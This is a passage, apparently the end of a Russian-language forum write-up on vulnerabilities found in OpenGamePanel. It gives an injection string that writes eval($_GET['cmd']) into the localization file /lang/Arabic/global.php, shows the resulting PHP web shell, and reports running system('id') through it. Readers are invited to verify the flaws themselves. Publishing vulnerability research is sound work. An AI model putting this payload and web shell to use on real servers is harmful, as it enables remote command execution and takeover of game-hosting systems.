test=");eval($_GET['cmd']);print("&Arabic/global.php=Arabic/global.php
Код: Скопировать в буфер обмена
<?php define('test', "");eval($_GET['cmd']);print("");?>
Я просто открыл /lang/Arabic/global.php?cmd=system('id'); и получил ответ от сервера.
Заключение
В результате комбинированного анализа (поиск «подозрительных» конструкций, изучение кода вручную, проверка логики входа, проверка установки и проверка файлов локализации) удалось найти целый набор уязвимостей в OpenGamePanel. Я не хотел чтобы это была очередной "теоретической" статьёй, так что можете проверить подлинность того что я написал сами и убдеиться в реальности ситуации.